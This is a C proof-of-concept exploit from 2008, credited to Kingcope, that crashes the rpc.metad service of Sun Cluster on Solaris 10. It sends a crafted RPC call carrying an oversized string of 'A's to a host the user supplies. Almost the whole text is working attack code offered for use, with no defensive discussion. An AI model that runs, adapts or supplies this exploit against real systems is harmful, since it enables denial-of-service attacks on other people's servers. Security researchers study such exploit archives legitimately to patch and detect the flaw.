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/*##########################################################*/
/*## SunOS 5.10 Sun Cluster rpc.metad DoS PoC #*/
/*## causes DoS on rpc.metad #*/
/*## (C) 2008 - Kingcope #*/
/*##########################################################*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>
extern int optarg;
#define METAD_PROG 100229
#define METAD_VERS 2
#define METAD_FUNC 6
typedef struct{char *string;}req_t;
bool_t xdr_req(XDR *xdrs,req_t *obj){
if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
return(TRUE);
}
main(int argc,char **argv){
char buffer[30000],address[4],*b,*cmd;
int i,c,n,flag=1,vers=0,port=0,sck;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;
printf("rpc.metad for solaris 10\n\n");
if(argc<2){
printf("usage: %s address\n",argv[0]);
exit(-1);
}
printf("Using version %d and request no. %d!!\n", METAD_VERS, METAD_FUNC);
printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);
adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover
buffer[3000]=0;
req.string=buffer;
stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");
printf("sent!\n"); /* if(!flag) exit(0);*/
}
}
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